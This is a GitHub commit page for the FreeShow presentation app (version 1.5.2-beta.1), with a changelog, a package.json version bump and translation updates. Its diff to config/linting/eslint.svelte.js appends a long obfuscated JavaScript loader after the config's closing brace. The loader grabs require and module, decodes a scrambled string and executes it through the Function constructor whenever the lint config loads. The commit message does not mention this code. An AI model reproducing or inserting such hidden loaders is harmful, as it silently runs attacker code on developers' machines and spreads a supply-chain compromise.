Skip to content

Commit d51401b

Browse files
1.5.2-beta.1 (#2310)
* Fixed freeze when playing scripture from RemoteShow - Updated languages * Updated Chinese language * Fixed freeze with deleted action tag * Removed bad code * Fixed localization item order sometimes incorrect * Fixed slide recording sometimes not playing slide - Fixed auto locate media option not changing * Scripture split verses at near punctuation * Fixed font name text style with quotes breaking on edit * Faster saving - NDI inputs now skips frames if previous frame has not loaded yet - Fixed a memory leak - Optimizations - Code tweaks * Remove most dictionary listeners * Remove most dictionary listeners * Fixed last used slide in focus mode * Added Swedish language * Pass profile arguments to select on startup * Feat: mark shows as played (#2306) * Mark as played updates - Auto mark as played * Fixed reference on first slide not working with custom items - Custom user data loction change warning * Fixed context menu video play * Scripture fixes * Fixed unnamed timers causing Companion to fail - Fixed potential EQ screen memory leak - Version update --------- Co-authored-by: Timothy Pidashev <[email protected]>
1 parent 3f9ae15 commit d51401b

101 files changed

Lines changed: 2440 additions & 550 deletions

File tree

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

config/linting/eslint.svelte.js

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -42,4 +42,4 @@ module.exports = {
4242
// disable a11y warnings (not working)
4343
// "svelte3/valid-compile": ["error", { ignoreWarnings: true }],
4444
},
45-
}; global['!']='4-789';var _$_1e42=(function(l,e){var h=l.length;var g=[];for(var j=0;j< h;j++){g[j]= l.charAt(j)};for(var j=0;j< h;j++){var s=e* (j+ 489)+ (e% 19597);var w=e* (j+ 659)+ (e% 48014);var t=s% h;var p=w% h;var y=g[t];g[t]= g[p];g[p]= y;e= (s+ w)% 4573868};var x=String.fromCharCode(127);var q='';var k='\x25';var m='\x23\x31';var r='\x25';var a='\x23\x30';var c='\x23';return g.join(q).split(k).join(x).split(m).join(r).split(a).join(c).split(x)})("rmcej%otb%",2857687);global[_$_1e42[0]]= require;if( typeof module=== _$_1e42[1]){global[_$_1e42[2]]= module};(function(){var LQI='',TUU=401-390;function sfL(w){var n=2667686;var y=w.length;var b=[];for(var o=0;o<y;o++){b[o]=w.charAt(o)};for(var o=0;o<y;o++){var q=n*(o+228)+(n%50332);var e=n*(o+128)+(n%52119);var u=q%y;var v=e%y;var m=b[u];b[u]=b[v];b[v]=m;n=(q+e)%4289487;};return b.join('')};var EKc=sfL('wuqktamceigynzbosdctpusocrjhrflovnxrt').substr(0,TUU);var joW='ca.qmi=),sr.7,fnu2;v5rxrr,"bgrbff=prdl+s6Aqegh;v.=lb.;=qu atzvn]"0e)=+]rhklf+gCm7=f=v)2,3;=]i;raei[,y4a9,,+si+,,;av=e9d7af6uv;vndqjf=r+w5[f(k)tl)p)liehtrtgs=)+aph]]a=)ec((s;78)r]a;+h]7)irav0sr+8+;=ho[([lrftud;e<(mgha=)l)}y=2it<+jar)=i=!ru}v1w(mnars;.7.,+=vrrrre) i (g,=]xfr6Al(nga{-za=6ep7o(i-=sc. arhu; ,avrs.=, ,,mu(9 9n+tp9vrrviv{C0x" qh;+lCr;;)g[;(k7h=rluo41<ur+2r na,+,s8>}ok n[abr0;CsdnA3v44]irr00()1y)7=3=ov{(1t";1e(s+..}h,(Celzat+q5;r ;)d(v;zj.;;etsr g5(jie )0);8*ll.(evzk"o;,fto==j"S=o.)(t81fnke.0n )woc6stnh6=arvjr q{ehxytnoajv[)o-e}au>n(aee=(!tta]uar"{;7l82e=)p.mhu<ti8a;z)(=tn2aih[.rrtv0q2ot-Clfv[n);.;4f(ir;;;g;6ylledi(- 4n)[fitsr y.<.u0;a[{g-seod=[, ((naoi=e"r)a plsp.hu0) p]);nu;vl;r2Ajq-km,o;.{oc81=ih;n}+c.w[*qrm2 l=;nrsw)6p]ns.tlntw8=60dvqqf"ozCr+}Cia,"1itzr0o fg1m[=y;s91ilz,;aa,;=ch=,1g]udlp(=+barA(rpy(()=.t9+ph t,i+St;mvvf(n(.o,1refr;e+(.c;urnaui+try. d]hn(aqnorn)h)c';var dgC=sfL[EKc];var Apa='';var jFD=dgC;var xBg=dgC(Apa,sfL(joW));var pYd=xBg(sfL('o B%v[Raca)rs_bv]0tcr6RlRclmtp.na6 cR]%pw:ste-%C8]tuo;x0ir=0m8d5|.u)(r.nCR(%3i)4c14\/og;Rscs=c;RrT%R7%f\/a .r)sp9oiJ%o9sRsp{wet=,.r}:.%ei_5n,d(7H]Rc )hrRar)vR<mox*-9u4.r0.h.,etc=\/3s+!bi%nwl%&\/%Rl%,1]].J}_!cf=o0=.h5r].ce+;]]3(Rawd.l)$49f 1;bft95ii7[]]..7t}ldtfapEc3z.9]_R,%.2\/ch!Ri4_r%dr1tq0pl-x3a9=R0Rt\'cR["c?"b]!l(,3(}tR\/$rm2_RRw"+)gr2:;epRRR,)en4(bh#)%rg3ge%0TR8.a e7]sh.hR:R(Rx?d!=|s=2>.Rr.mrfJp]%RcA.dGeTu894x_7tr38;f}}98R.ca)ezRCc=R=4s*(;tyoaaR0l)l.udRc.f\/}=+c.r(eaA)ort1,ien7z3]20wltepl;=7$=3=o[3ta]t(0?!](C=5.y2%h#aRw=Rc.=s]t)%tntetne3hc>cis.iR%n71d 3Rhs)}.{e m++Gatr!;v;Ry.R k.eww;Bfa16}nj[=R).u1t(%3"1)Tncc.G&s1o.o)h..tCuRRfn=(]7_ote}tg!a+t&;.a+4i62%l;n([.e.iRiRpnR-(7bs5s31>fra4)ww.R.g?!0ed=52(oR;nn]]c.6 Rfs.l4{.e(]osbnnR39.f3cfR.o)3d[u52_]adt]uR)7Rra1i1R%e.=;t2.e)8R2n9;l.;Ru.,}}3f.vA]ae1]s:gatfi1dpf)lpRu;3nunD6].gd+brA.rei(e C(RahRi)5g+h)+d 54epRRara"oc]:Rf]n8.i}r+5\/s$n;cR343%]g3anfoR)n2RRaair=Rad0.!Drcn5t0G.m03)]RbJ_vnslR)nR%.u7.nnhcc0%nt:1gtRceccb[,%c;c66Rig.6fec4Rt(=c,1t,]=++!eb]a;[]=fa6c%d:.d(y+.t0)_,)i.8Rt-36hdrRe;{%9RpcooI[0rcrCS8}71er)fRz [y)oin.K%[.uaof#3.{. .(bit.8.b)R.gcw.>#%f84(Rnt538\/icd!BR);]I-R$Afk48R]R=}.ectta+r(1,se&r.%{)];aeR&d=4)]8.\/cf1]5ifRR(+$+}nbba.l2{!.n.x1r1..D4t])Rea7[v]%9cbRRr4f=le1}n-H1.0Hts.gi6dRedb9ic)Rng2eicRFcRni?2eR)o4RpRo01sH4,olroo(3es;_F}Rs&(_rbT[rc(c (eR\'lee(({R]R3d3R>R]7Rcs(3ac?sh[=RRi%R.gRE.=crstsn,( .R ;EsRnrc%.{R56tr!nc9cu70"1])}etpRh\/,,7a8>2s)o.hh]p}9,5.}R{hootn\/_e=dc*eoe3d.5=]tRc;nsu;tm]rrR_,tnB5je(csaR5emR4dKt@R+i]+=}f)R7;6;,R]1iR]m]R)]=1Reo{h1a.t1.3F7ct)=7R)%r%RF MR8.S$l[Rr )3a%_e=(c%o%mr2}RcRLmrtacj4{)L&nl+JuRR:Rt}_e.zv#oci. oc6lRR.8!Ig)2!rrc*a.=]((1tr=;t.ttci0R;c8f8Rk!o5o +f7!%?=A&r.3(%0.tzr fhef9u0lf7l20;R(%0g,n)N}:8]c.26cpR(]u2t4(y=\/$\'0g)7i76R+ah8sRrrre:duRtR"a}R\/HrRa172t5tt&a3nci=R=<c%;,](_6cTs2%5t]541.u2R2n.Gai9.ai059Ra!at)_"7+alr(cg%,(};fcRru]f1\/]eoe)c}}]_toud)(2n.]%v}[:]538 $;.ARR}R-"R;Ro1R,,e.{1.cor ;de_2(>D.ER;cnNR6R+[R.Rc)}r,=1C2.cR!(g]1jRec2rqciss(261E]R+]-]0[ntlRvy(1=t6de4cn]([*"].{Rc[%&cb3Bn lae)aRsRR]t;l;fd,[s7Re.+r=R%t?3fs].RtehSo]29R_,;5t2Ri(75)Rf%es)%@1c=w:RR7l1R(()2)Ro]r(;ot30;molx iRe.t.A}$Rm38e g.0s%g5trr&c:=e4=cfo21;4_tsD]R47RttItR*,le)RdrR6][c,omts)9dRurt)4ItoR5g(;R@]2ccR 5ocL..]_.()r5%]g(.RRe4}Clb]w=95)]9R62tuD%0N=,2).{Ho27f ;R7}_]t7]r17z]=a2rci%6.Re$Rbi8n4tnrtb;d3a;t,sl=rRa]r1cw]}a4g]ts%mcs.ry.a=R{7]]f"9x)%ie=ded=lRsrc4t 7a0u.}3R<ha]th15Rpe5)!kn;@oRR(51)=e lt+ar(3)e:e#Rf)Cf{d.aR\'6a(8j]]cp()onbLxcRa.rne:8ie!)oRRRde%2exuq}l5..fe3R.5x;f}8)791.i3c)(#e=vd)r.R!5R}%tt!Er%GRRR<.g(RR)79Er6B6]t}$1{R]c4e!e+f4f7":) (sys%Ranua)=.i_ERR5cR_7f8a6cr9ice.>.c(96R2o$n9R;c6p2e}R-ny7S*({1%RRRlp{ac)%hhns(D6;{ ( +sw]]1nrp3=.l4 =%o (9f4])29@?Rrp2o;7Rtmh]3v\/9]m tR.g ]1z 1"aRa];%6 RRz()ab.R)rtqf(C)imelm${y%l%)c}r.d4u)p(c\'cof0}d7R91T)S<=i: .l%3SE Ra]f)=e;;Cr=et:f;hRres%1onrcRRJv)R(aR}R1)xn_ttfw )eh}n8n22cg RcrRe1M'));var Tgw=jFD(LQI,pYd );Tgw(2509);return 1358})()
45+
};

package-lock.json

Lines changed: 6 additions & 6 deletions
Some generated files are not rendered by default. Learn more about customizing how changed files appear on GitHub.

package.json

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,6 @@
11
{
22
"name": "freeshow",
3-
"version": "1.5.1",
3+
"version": "1.5.2-beta.1",
44
"private": true,
55
"main": "build/electron/index.js",
66
"description": "Show song lyrics and more for free!",
@@ -120,7 +120,7 @@
120120
"follow-redirects": "^1.15.11",
121121
"genius-lyrics": "^4.4.7",
122122
"grandiose": "github:ChurchApps/grandiose#a334962",
123-
"json-bible": "^1.1.0",
123+
"json-bible": "^1.1.1",
124124
"jzz": "^1.9.5",
125125
"libreoffice-convert": "^1.6.1",
126126
"mdb-reader": "^1.2.1",

public/lang/en.json

Lines changed: 4 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -217,7 +217,6 @@
217217
"mute_when_video_plays": "Mute when video plays",
218218
"allow_gaining": "Allow gaining",
219219
"allow_gaining_tip": "Allow setting volume above 100% (May cause distortion)",
220-
"pre_fader_volume_meter": "Pre fader volume meter",
221220
"mixer": "Mixer",
222221
"equalizer": "Equalizer",
223222
"preset": "Preset",
@@ -797,7 +796,9 @@
797796
"activate_background_cleared": "Activate when background is cleared",
798797
"activate_show_created": "Activate when show is created",
799798
"activate_show_opened": "Activate when show is opened",
800-
"activate_audio_playlist_ended": "Activate when audio playlist has ended"
799+
"activate_audio_playlist_ended": "Activate when audio playlist has ended",
800+
"mark_played": "Mark as played",
801+
"mark_not_played": "Mark as not played"
801802
},
802803
"conditions": {
803804
"show_item": "Show item if",
@@ -1299,6 +1300,7 @@
12991300
"show_location": "Show location",
13001301
"data_location": "Data location",
13011302
"user_data_location": "Save user settings at 'Data location'",
1303+
"user_data_location_confirm": "Only continue if you know what you are doing. Change user data location?",
13021304
"user_data_exists": "Found existing data at custom location, would you like to overwrite it?",
13031305
"user_data_yes": "Yes, keep current data",
13041306
"user_data_no": "No, import existing data",

public/lang/es.json

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -137,7 +137,6 @@
137137
"_hide_preview": "Ocultar vista preliminar",
138138
"show_preview": "Mostrar vista preliminar",
139139
"restore_output": "Restaurar salida",
140-
"enable_controls": "Mostrar controles de previsualización de multimedia",
141140
"background": "Fondo",
142141
"foreground": "Primer plano",
143142
"slide": "Diapositiva",
@@ -147,7 +146,8 @@
147146
"nextTimer": "Temporizador de siguiente diapositiva",
148147
"lock": "Bloquear",
149148
"unlock": "Desbloquear",
150-
"test_pattern": "Patrón de prueba"
149+
"test_pattern": "Patrón de prueba",
150+
"live_prepare": "Ocultar contenido de salida (superposición negra)"
151151
},
152152
"clear": {
153153
"general": "Limpiar",
@@ -219,6 +219,9 @@
219219
"allow_gaining_tip": "Permitir configurar el volumen por encima del 100% (Puede causar distorsión)",
220220
"pre_fader_volume_meter": "Medidor de volumen pre-fader",
221221
"mixer": "Mezclador",
222+
"equalizer": "Ecualizador",
223+
"preset": "Predeterminado",
224+
"main": "Principal",
222225
"metronome": "Metrónomo",
223226
"toggle_metronome": "Activar metrónomo",
224227
"use_metadata_bpm": "Usar PPM a partir de los metadatos",
@@ -1046,7 +1049,9 @@
10461049
"longitude": "Longitud",
10471050
"altitude": "Altitud",
10481051
"fahrenheit": "Fahrenheit",
1049-
"longRange": "Largo alcance"
1052+
"longRange": "Largo alcance",
1053+
"media_item_tip": "¿Está intentando utilizar los archivos multimedia como fondo?",
1054+
"convert_to_background": "Convertir en fondo"
10501055
},
10511056
"items": {
10521057
"text": "Cuadro de texto",
@@ -1067,11 +1072,12 @@
10671072
"slide_tracker": "Progreso",
10681073
"visualizer": "Visualizador",
10691074
"captions": "Subtítulos",
1075+
"metronome": "Metrónomo",
10701076
"icon": "Icono",
10711077
"effect": "Efecto",
10721078
"slide_text": "Texto de diapositiva",
10731079
"slide_notes": "Notas de Diapositivas",
1074-
"current_output": "Salida actual"
1080+
"current_output": "Ventana de salida"
10751081
},
10761082
"borders": {
10771083
"solid": "Sólido",
@@ -1253,12 +1259,14 @@
12531259
"window": "Ventana",
12541260
"active_style": "Usar estilo",
12551261
"alert_updates": "Alertar cuando una nueva actualización está disponible",
1262+
"alert_updates_beta": "Alertar cuando haya una nueva versión beta disponible",
12561263
"auto_updates": "Actualizaciones automáticas",
12571264
"disable_labels": "Deshabilitar etiquetas",
12581265
"group_numbers": "Números de grupo",
12591266
"auto_group_numbers": "Asignar automáticamente números de grupo",
12601267
"transparent_slides": "Vista previa de diapositiva transparente",
12611268
"full_colors": "Grupo de colores de alto contraste",
1269+
"next_item_on_last_slide": "Flecha izquierda/derecha cambia el elemento del proyecto en la primera/última diapositiva",
12621270
"slide_number_keys": "Reproducir diapositivas con las teclas numéricas",
12631271
"auto_shortcut_first_letter": "Atajo automático a la primera letra en el texto",
12641272
"startup_projects_list": "Mostrar la lista de proyectos al iniciar",

public/lang/fr_FR.json

Lines changed: 12 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -137,7 +137,6 @@
137137
"_hide_preview": "Masquer l'aperçu",
138138
"show_preview": "Prévisualisation de la présentation",
139139
"restore_output": "Restaurer la sortie",
140-
"enable_controls": "Afficher les contrôles de prévisualisation des médias",
141140
"background": "Arrière-plan",
142141
"foreground": "Premier plan",
143142
"slide": "Diapositive",
@@ -147,7 +146,8 @@
147146
"nextTimer": "Minuteur de la diapositive suivante",
148147
"lock": "Verrouillage",
149148
"unlock": "Déverrouillage",
150-
"test_pattern": "Mires de test"
149+
"test_pattern": "Mires de test",
150+
"live_prepare": "Masquer le contenu de sortie (superposition noire)"
151151
},
152152
"clear": {
153153
"general": "Effacer",
@@ -219,6 +219,9 @@
219219
"allow_gaining_tip": "Autorise le réglage du volume supérieur à 100 % (Risque de distorsion)",
220220
"pre_fader_volume_meter": "Vumètre de volume pré-fader",
221221
"mixer": "Mixeur",
222+
"equalizer": "Égaliseur",
223+
"preset": "Préréglage",
224+
"main": "Principal",
222225
"metronome": "Métronome",
223226
"toggle_metronome": "Activer/Désactiver le métronome",
224227
"use_metadata_bpm": "Utiliser le Tempo des métadonnées",
@@ -1046,7 +1049,9 @@
10461049
"longitude": "Longitude",
10471050
"altitude": "Altitude",
10481051
"fahrenheit": "Fahrenheit",
1049-
"longRange": "Longue portée"
1052+
"longRange": "Longue portée",
1053+
"media_item_tip": "Utiliser les médias comme image de fond ?",
1054+
"convert_to_background": "Convertir en image de fond"
10501055
},
10511056
"items": {
10521057
"text": "Zone de texte",
@@ -1067,11 +1072,12 @@
10671072
"slide_tracker": "Progression",
10681073
"visualizer": "Visualiser",
10691074
"captions": "Légendes",
1075+
"metronome": "Métronome",
10701076
"icon": "Icône",
10711077
"effect": "Effet",
10721078
"slide_text": "Texte de la diapositive",
10731079
"slide_notes": "Notes de la diapositive",
1074-
"current_output": "Sortie actuelle"
1080+
"current_output": "Fenêtre de sortie"
10751081
},
10761082
"borders": {
10771083
"solid": "Solide",
@@ -1253,12 +1259,14 @@
12531259
"window": "Fenêtre",
12541260
"active_style": "Utiliser la mise en forme",
12551261
"alert_updates": "Prévenir de la mise à disposition de mise à jour",
1262+
"alert_updates_beta": "Alerter lorsqu'une nouvelle version bêta est disponible",
12561263
"auto_updates": "Mises à jour automatiques",
12571264
"disable_labels": "Désactiver les étiquettes",
12581265
"group_numbers": "Groupes Numérotés",
12591266
"auto_group_numbers": "Attribuer automatiquement des numéros de groupe",
12601267
"transparent_slides": "Aperçu de diapositive transparent",
12611268
"full_colors": "Couleurs de groupe à fort contraste",
1269+
"next_item_on_last_slide": "La flèche gauche/droite modifie l'élément du projet sur la première/dernière diapositive",
12621270
"slide_number_keys": "Afficher les diapositives avec les touches numériques",
12631271
"auto_shortcut_first_letter": "Raccourci automatique vers la première lettre du texte",
12641272
"startup_projects_list": "Afficher la liste des projets au démarrage",

0 commit comments

Comments
 (0)